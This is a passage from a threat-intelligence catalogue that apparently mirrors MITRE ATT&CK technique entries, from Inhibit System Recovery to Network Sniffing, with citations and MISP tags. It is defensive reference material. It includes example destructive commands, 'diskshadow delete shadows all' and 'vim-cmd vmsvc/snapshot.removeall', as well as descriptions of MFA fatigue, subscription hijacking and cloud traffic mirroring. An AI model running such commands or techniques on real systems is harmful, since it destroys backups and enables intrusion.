- <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> ^{[[Diskshadow](https://app.tidalcyber.com/references/9e8b57a5-7e31-5add-ac3e-8b9c0f7f27aa)]} ^{[[Crytox Ransomware](https://app.tidalcyber.com/references/7c22d9d0-a2d8-5936-a6b1-5c696a2a19c6)]}

On network devices, adversaries may leverage [Disk Wipe](https://app.tidalcyber.com/technique/ea2b3980-05fd-41a3-8ab9-3106e833c821) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://app.tidalcyber.com/technique/24787dca-6afd-4ab3-ab6c-32e9486ec418) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

On ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://app.tidalcyber.com/technique/f0c36d24-263c-4811-8784-f716c77ec6b3), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).^{[[Cybereason](https://app.tidalcyber.com/references/61dc7b51-3cca-5973-80a2-116cc9ad6f08)]}

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.^{[[ZDNet Ransomware Backups 2020](https://app.tidalcyber.com/references/301da9c8-60de-58f0-989f-6b504e3457a3)]} In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.^{[[Dark Reading Code Spaces Cyber Attack](https://app.tidalcyber.com/references/e5a3028a-f4cc-537c-9ddd-769792ab33be)]}^{[[Rhino Security Labs AWS S3 Ransomware](https://app.tidalcyber.com/references/785c6b11-c5f0-5cb4-931b-cf75fcc368a1)]}

The tag is: *misp-galaxy:technique="Inhibit System Recovery"*

Input Capture

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://app.tidalcyber.com/technique/28fd13d1-b555-47fa-9d47-caf6b1367ace)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://app.tidalcyber.com/technique/34674b83-86a7-4ad9-8b05-49b505aa5ef0)).

The tag is: *misp-galaxy:technique="Input Capture"*

Input Injection

Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).

For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.^{[[BleepingComputer BackSwap](https://app.tidalcyber.com/references/47fed6be-5d7e-5491-ba2e-0a8129494476)]}^{[[welivesecurity BackSwap](https://app.tidalcyber.com/references/aeb4e022-a0cb-58ab-8ee5-1c5753927755)]}

Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.^{[[BleepingComputer USB](https://app.tidalcyber.com/references/b36a077f-9e47-5bf3-a58a-ed5a08821de7)]}

The tag is: *misp-galaxy:technique="Input Injection"*

Internal Spearphishing

After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation]([Trend Micro - Int SP(https://app.tidalcyber.com/references/1c21c911-11db-560c-b623-5937dc478b74)]</sup>

For example, adversaries may leverage [Spearphishing Attachment](https://app.tidalcyber.com/technique/ba553ad4-5699-4458-ae4e-76e1faa43291) or [Spearphishing Link](https://app.tidalcyber.com/technique/d08a9977-9fc2-46bb-84f9-dbb5187c426d) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://app.tidalcyber.com/technique/5ee96331-a7b7-4c32-a8f1-3fb164078f5f) on sites that mimic login interfaces.

Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.^{[[Int SP - chat apps](https://app.tidalcyber.com/references/8d0db0f2-9b29-5216-8c9c-de8bf0c541de)]}

The tag is: *misp-galaxy:technique="Internal Spearphishing"*

Inter-Process Communication

Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://app.tidalcyber.com/technique/82497cfd-725e-42f8-aaa7-4e20878a6a13) or [Component Object Model](https://app.tidalcyber.com/technique/8bc683db-1311-476f-8cae-45f3f89dcc66). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.^{[[Linux IPC](https://app.tidalcyber.com/references/05293061-ce09-49b5-916a-bb7353acfdfa)]} Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) such as [Distributed Component Object Model](https://app.tidalcyber.com/technique/ebc5fabb-5634-49f2-8979-94ea98da114a) to facilitate remote IPC execution.^{[[Fireeye Hunting COM June 2019](https://app.tidalcyber.com/references/84311e46-cea1-486a-a737-c4a4946ab837)]}

The tag is: *misp-galaxy:technique="Inter-Process Communication"*

Lateral Tool Transfer

Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://app.tidalcyber.com/technique/4499ce34-9871-4879-883c-19ddb940f242)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.

Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://app.tidalcyber.com/technique/bc2f2c6c-ffe7-4e78-bbac-369f6781bbdd) to connected network shares or with authenticated connections via [Remote Desktop Protocol]([Unit42 LockerGoga 2019(https://app.tidalcyber.com/references/8f058923-f2f7-4c0e-b90a-c7a0d5e62186)]</sup>

Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://app.tidalcyber.com/software/062deac9-8f05-44e2-b347-96b59ba166ca). In some cases, adversaries may be able to leverage [Web Service](https://app.tidalcyber.com/technique/a729feee-8e21-444e-8eea-2ec595b09931)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.^{[[Dropbox Malware Sync](https://app.tidalcyber.com/references/06ca63fa-8c6c-501c-96d3-5e7e45ca1e04)]}

The tag is: *misp-galaxy:technique="Lateral Tool Transfer"*

Log Enumeration

Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://app.tidalcyber.com/technique/6736995e-b9ea-401b-81fa-6caeb7a17ce3)), security or vulnerable software ([Software Discovery](https://app.tidalcyber.com/technique/e9bff6ff-3142-4910-8f67-19b868912602)), or hosts within a compromised network ([Remote System Discovery](https://app.tidalcyber.com/technique/00a9a4d4-928d-4d95-be31-dfac6103991f)).

Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) on Windows to access and/or export security event information.^{[[WithSecure Lazarus-NoPineapple Threat Intel Report 2023](https://app.tidalcyber.com/references/195922fa-a843-5cd3-a153-32f0b960dcb9)]}^{[[Cadet Blizzard emerges as novel threat actor](https://app.tidalcyber.com/references/7180c6a7-e6ea-54bf-bcd7-c5238bbc5f5b)]} In cloud environments, adversaries may leverage utilities such as the Azure VM Agent's `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.^{[[SIM Swapping and Abuse of the Microsoft Azure Serial Console](https://app.tidalcyber.com/references/c596a0e0-6e9c-52e4-b1bb-9c0542f960f2)]}

Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.

In addition to gaining a better understanding of the environment, adversaries may also monitor

logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.^{[[Permiso GUI-Vil 2023](https://app.tidalcyber.com/references/f3f16141-3420-5e72-b7d0-092bbd02f064)]}

The tag is: *misp-galaxy:technique="Log Enumeration"*

Masquerading

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading]([LOLBAS Main Site(https://app.tidalcyber.com/references/615f6fa5-3059-49fc-9fa4-5ca0aeff4331)]</sup>

The tag is: *misp-galaxy:technique="Masquerading"*

Modify Authentication Process

Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406).

Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.

The tag is: *misp-galaxy:technique="Modify Authentication Process"*

Modify Cloud Compute Infrastructure

An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.

Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow

an adversary to evade detection and remove evidence of their presence.^{[[Mandiant M-Trends 2020](https://app.tidalcyber.com/references/83bc9b28-f8b3-4522-b9f1-f43bce3ae917)]}

The tag is: *misp-galaxy:technique="Modify Cloud Compute Infrastructure"*

Modify Cloud Resource Hierarchy

Adversaries may attempt to modify hierarchical structures in infrastructure-as-a-service (IaaS) environments in order to evade defenses.

IaaS environments often group resources into a hierarchy, enabling improved resource management and application of policies to relevant groups. Hierarchical structures differ among cloud providers. For example, in AWS environments, multiple accounts can be grouped under a single organization, while in Azure environments, multiple subscriptions can be grouped under a single management group.^{[[AWS Organizations](https://app.tidalcyber.com/references/06d4ce21-ef87-5977-80df-10bd36ae722e)]}^{[[Microsoft Azure Resources](https://app.tidalcyber.com/references/3d2f4092-5173-5f40-8b5f-c1cb886a2e6e)]}

Adversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim's compute resources without generating logs on the victim tenant.^{[[Microsoft Peach Sandstorm 2023](https://app.tidalcyber.com/references/84d026ed-b8f2-5bbb-865a-2d93aa4b2ef8)]}^{[[Microsoft Subscription Hijacking 2022](https://app.tidalcyber.com/references/e5944e4c-76c6-55d1-97ec-8367b7f98c28)]}

In AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.^{[[AWS RE:Inforce Threat Detection 2024](https://app.tidalcyber.com/references/f2689dfc-83ff-53c6-b074-ce507824799a)]}

The tag is: *misp-galaxy:technique="Modify Cloud Resource Hierarchy"*

Modify Registry

Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.

Access to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) may be used for local or remote Registry modification.<sup>[[Microsoft Reg](https://app.tidalcyber.com/references/

1e1b21bd-18b3-4c77-8eb8-911b028ab603)]</sup> Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.

The Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information]([Unit42 BabyShark Feb 2019(https://app.tidalcyber.com/references/634404e3-e2c9-4872-a280-12d2be168cba)]</sup>^{[[Avaddon Ransomware 2021](https://app.tidalcyber.com/references/9f6d1282-5bc1-5d0d-aede-8131411bd255)]}^{[[Microsoft BlackCat Jun 2022](https://app.tidalcyber.com/references/55be1ca7-fdb7-5d76-a9c8-5f44a0d00b0e)]}^{[[CISA Russian Gov Critical Infra 2018](https://app.tidalcyber.com/references/34b9648a-1548-5452-bac6-06b19e2cc995)]} The Registry may also be modified to [Impair Defenses](https://app.tidalcyber.com/technique/e3be3d76-0a36-4060-8003-3b39c557f728), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.^{[[CISA LockBit 2023](https://app.tidalcyber.com/references/4a62ae6b-0baf-56f0-8a2e-3b0761b5de91)]}^{[[Unit42 BabyShark Feb 2019](https://app.tidalcyber.com/references/634404e3-e2c9-4872-a280-12d2be168cba)]}

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.^{[[Microsoft Remote](https://app.tidalcyber.com/references/331d59e3-ce7f-483c-b77d-001c8a9ae1df)]} Often [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://app.tidalcyber.com/technique/bc2f2c6c-ffe7-4e78-bbac-369f6781bbdd) for RPC communication.

Finally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) or other utilities using the Win32 API.^{[[Microsoft Reghide NOV 2006](https://app.tidalcyber.com/references/42503ec7-f5da-4116-a3b3-a1b18a66eed3)]} Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.^{[[TrendMicro POWELIKS AUG 2014](https://app.tidalcyber.com/references/4a42df15-4d09-4f4f-8333-2b41356fdb80)]}^{[[SpectorOps Hiding Reg Jul 2017](https://app.tidalcyber.com/references/877a5ae4-ec5f-4f53-b69d-ba74ff9e1619)]}

The tag is: *misp-galaxy:technique="Modify Registry"*

Modify System Image

Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.

The tag is: *misp-galaxy:technique="Modify System Image"*

Multi-Factor Authentication Interception

Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. ^{[[Mandiant M Trends 2011](https://app.tidalcyber.com/references/563be052-29ac-4625-927d-84e475ef848e)]}

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). ^{[[GCN RSA June 2011](https://app.tidalcyber.com/references/40564d23-b9ae-4bb3-8dd1-d6b01163a32d)]}

Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users' phones.^{[[Okta Scatter Swine 2022](https://app.tidalcyber.com/references/66d1b6e2-c069-5832-b549-fc5f0edeed40)]}

The tag is: *misp-galaxy:technique="Multi-Factor Authentication Interception"*

Multi-Factor Authentication Request Generation

Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

Adversaries in possession of credentials to [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).^{[[Obsidian SSPR Abuse 2023](https://app.tidalcyber.com/references/7f28f770-ef06-5923-b759-b731ceabe08a)]}

In some cases, adversaries may continuously repeat login attempts in order to bombard users with

MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”^{[[Russian 2FA Push Annoyance - Cimpanu](https://app.tidalcyber.com/references/ad2b0648-b657-4daa-9510-82375a252fc4)]}^{[[MFA Fatigue Attacks - PortSwigger](https://app.tidalcyber.com/references/1b7b0f00-71ba-4762-ae81-bce24591cff4)]}^{[[Suspected Russian Activity Targeting Government and Business Entities Around the Globe](https://app.tidalcyber.com/references/f45a0551-8d49-4d40-989f-659416dc25ec)]}

The tag is: *misp-galaxy:technique="Multi-Factor Authentication Request Generation"*

Multi-Stage Channels

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://app.tidalcyber.com/technique/be8786b3-cd3d-47ef-a9e7-cd3ab3c901a1) in case the original first-stage communication path is discovered and blocked.

The tag is: *misp-galaxy:technique="Multi-Stage Channels"*

Native API

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.^{[[NT API Windows](https://app.tidalcyber.com/references/306f7da7-caa2-40bf-a3db-e579c541eeb4)]}^{[[Linux Kernel API](https://app.tidalcyber.com/references/0a30d54e-187a-43e0-9725-3c80aa1c7619)]} These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces

and libraries.^{[[OutFlank System Calls](https://app.tidalcyber.com/references/c4c3370a-2d6b-4ebd-961e-58d584066377)]}^{[[CyberBit System Calls](https://app.tidalcyber.com/references/c13cf528-2a7d-4a32-aee2-db5db2f30298)]}^{[[MDSec System Calls](https://app.tidalcyber.com/references/b461e226-1317-4ce4-a195-ba4c4957db99)]} For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.^{[[Microsoft CreateProcess](https://app.tidalcyber.com/references/aa336e3a-464d-48ce-bebb-760b73764610)]}^{[[GNU Fork](https://app.tidalcyber.com/references/c46331cb-328a-46e3-89c4-e43fa345d6e8)]} This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.^{[[Microsoft Win32](https://app.tidalcyber.com/references/585b9975-3cfb-4485-a9eb-5eea337ebd3c)]}^{[[LIBC](https://app.tidalcyber.com/references/a3fe6ea5-c443-473a-bb13-b4fd8f4923fd)]}^{[[GLIBC](https://app.tidalcyber.com/references/75a6a1bf-a5a7-419d-b290-6662aeddb7eb)]}

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.^{[[Microsoft NET](https://app.tidalcyber.com/references/b4727044-51bb-43b3-afdb-515bb4bb0f7e)]}^{[[Apple Core Services](https://app.tidalcyber.com/references/0ef05e47-1305-4715-a677-67f1b55b24a3)]}^{[[MACOS Cocoa](https://app.tidalcyber.com/references/6ada4c6a-23dc-4469-a3a1-1d3b4935db97)]}^{[[macOS Foundation](https://app.tidalcyber.com/references/ea194268-0a8f-4494-be09-ef5f679f68fe)]}

Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.^{[[Redops Syscalls](https://app.tidalcyber.com/references/dd8c2edd-b5ba-5a41-b65d-c3a2951d07b8)]} Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://app.tidalcyber.com/technique/9f290216-b2ab-47b5-b9ae-a94ae6d357c6).

The tag is: *misp-galaxy:technique="Native API"*

Network Boundary Bridging

Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://app.tidalcyber.com/technique/fa05c148-56a0-43ae-b8e4-2d4e91641400) or exfiltration of data via [Traffic Duplication](https://app.tidalcyber.com/technique/c2fc2776-e674-46ff-8b8d-ecc90b8b1c26). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://app.tidalcyber.com/technique/8b744bfc-6bfb-45c5-8bb8-5b736ce7e634) to achieve the same goals.^{[[Kaspersky ThreatNeedle Feb 2021](https://app.tidalcyber.com/references/ba6a5fcc-9391-42c0-8b90-57b729525f41)]} In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.

The tag is: *misp-galaxy:technique="Network Boundary Bridging"*

Network Denial of Service

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes^{[[FireEye OpPoisonedHandover February 2016](https://app.tidalcyber.com/references/1d57b1c8-930b-4bcb-a51e-39020327cc5d)]} and to support other malicious activities, including distraction^{[[FSISAC FraudNetDoS September 2012](https://app.tidalcyber.com/references/9c8772eb-6d1d-4742-a2db-a5e1006effaa)]}, hacktivism, and extortion.^{[[Symantec DDoS October 2014](https://app.tidalcyber.com/references/878e0382-4191-4bca-8adc-c379b0d57ba8)]}

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://app.tidalcyber.com/technique/8b0caea0-602e-4117-8322-b125150f5c2a).

The tag is: *misp-galaxy:technique="Network Denial of Service"*

Network Service Discovery

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.^{[[CISA AR21-126A FIVEHANDS May 2021](https://app.tidalcyber.com/references/f98604dd-2881-4024-8e43-6f5f48c6c9fa)]}

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host's registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.^{[[apple doco bonjour description](https://app.tidalcyber.com/references/b8538d67-ab91-41c2-9cc3-a7b00c6b372a)]}^{[[macOS APT Activity Bradley](https://app.tidalcyber.com/references/7ccda957-b38d-4c3f-a8f5-6cecdcb3f584)]}

The tag is: *misp-galaxy:technique="Network Service Discovery"*

Network Share Discovery

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. ^{[[Wikipedia Shared Resource](https://app.tidalcyber.com/references/6cc6164e-84b3-4413-9895-6719248808fb)]} ^{[[TechNet Shared Folder](https://app.tidalcyber.com/references/80a9b92a-1404-4454-88f0-dd929a12e16f)]} [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.

The tag is: *misp-galaxy:technique="Network Share Discovery"*

Network Sniffing

Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://app.tidalcyber.com/technique/b44a263f-76b2-4a1f-baeb-dd285974eca6), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://app.tidalcyber.com/tactics/50ba4930-7c8e-4ef9-bc36-70e7dae661eb) and/or [Defense Evasion](https://app.tidalcyber.com/tactics/8e29c6c9-0c10-4bb0-827d-ff0ab8922726) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9) (AiTM) to passively gain additional knowledge about the environment.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.^{[[AWS Traffic Mirroring](https://app.tidalcyber.com/references/6b77a2f3-39b8-4574-8dee-cde7ba9debff)]}^{[[GCP Packet Mirroring](https://app.tidalcyber.com/references/c91c6399-3520-4410-936d-48c3b13235ca)]}^{[[Azure Virtual Network TAP](https://app.tidalcyber.com/references/3f106d7e-f101-4adb-bbd1-d8c04a347f85)]} Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.^{[[Rhino Security Labs AWS VPC Traffic Mirroring](https://app.tidalcyber.com/references/09cac813-862c-47c8-a47f-154c5436afbb)]}^{[[SpecterOps AWS Traffic Mirroring](https://app.tidalcyber.com/references/6ab2cfa1-230f-498e-8049-fcdd2f7296dd)]} The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.^{[[Rhino Security Labs AWS VPC Traffic Mirroring](https://app.tidalcyber.com/references/09cac813-862c-47c8-a47f-154c5436afbb)]}

On network devices, adversaries may perform network captures using [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `monitor capture`.^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[capture_embedded_packet_on_software](https://app.tidalcyber.com/references/5d973180-a28a-5c8f-b13a-45d21331700f)]}

The tag is: *misp-galaxy:technique="Network Sniffing"*

Non-Application Layer Protocol

